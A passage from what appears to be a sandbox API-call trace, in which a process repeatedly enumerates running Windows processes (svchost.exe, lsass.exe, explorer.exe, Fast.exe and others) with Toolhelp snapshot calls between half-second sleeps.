cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.084] Process32NextW (in: hSnapshot=0x204, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.085] Process32NextW (in: hSnapshot=0x204, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.086] Process32NextW (in: hSnapshot=0x204, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.087] Process32NextW (in: hSnapshot=0x204, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.087] Process32NextW (in: hSnapshot=0x204, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0268.088] Process32NextW (in: hSnapshot=0x204, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.089] Process32NextW (in: hSnapshot=0x204, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.089] Process32NextW (in: hSnapshot=0x204, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0268.090] Process32NextW (in: hSnapshot=0x204, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.090] Process32NextW (in: hSnapshot=0x204, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0268.091] Process32NextW (in: hSnapshot=0x204, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0268.092] Process32NextW (in: hSnapshot=0x204, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0268.710] Process32NextW (in: hSnapshot=0x204, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0268.711] Process32NextW (in: hSnapshot=0x204, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0268.712] Process32NextW (in: hSnapshot=0x204, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0268.713] Process32NextW (in: hSnapshot=0x204, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0268.713] Process32NextW (in: hSnapshot=0x204, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0268.714] Process32NextW (in: hSnapshot=0x204, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 0 [0268.715] CloseHandle (hObject=0x204) returned 1 [0268.715] Sleep (dwMilliseconds=0x1f4) [0269.785] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e0 [0269.789] Process32FirstW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0269.790] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0269.791] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0269.792] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0269.792] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0269.793] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0269.794] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0269.796] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0269.796] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0269.797] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0269.798] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.799] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.800] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.801] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.802] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.803] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0269.804] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.804] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.805] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0269.806] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.807] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0269.808] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0269.808] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0269.809] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0269.811] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0269.811] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0269.812] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0269.813] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0269.814] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0269.815] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 0 [0269.816] CloseHandle (hObject=0x1e0) returned 1 [0269.816] Sleep (dwMilliseconds=0x1f4) [0271.168] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x1e0 [0271.173] Process32FirstW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0271.173] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0271.174] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0271.175] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0271.176] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0271.177] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0271.177] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0271.178] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0271.179] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0271.180] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0271.180] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.181] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.182] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.183] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x340, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x16, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.184] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x22, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.185] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3b0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0271.185] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.186] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.187] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x458, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0271.188] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x48c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.189] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x498, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0271.190] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x340, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0271.190] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x4a0, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0271.191] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x570, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0271.192] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x578, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4c4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0271.193] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x570, pcPriClassBase=8, dwFlags=0x0, szExeFile="Fast.exe")) returned 1 [0271.194] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x644, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x568, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0271.194] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x590, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0271.195] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x564, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x1c8, pcPriClassBase=6, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0271.196] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 1 [0271.197] Process32NextW (in: hSnapshot=0x1e0, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x350, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x254, pcPriClassBase=8, dwFlags=0x0, szExeFile="dllhost.exe")) returned 0 [0271.198] CloseHandle (hObject=0x1e0) returned 1 [0271.198] Sleep (dwMilliseconds=0x1f4) [0272.050] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x128 [0272.055] Process32FirstW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0272.057] Process32NextW (in: hSnapshot=0x128, lppe=0x212fb6c | out: lppe=0x212fb6c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0272.059] Process32NextW (in: hSnapshot=0x128, 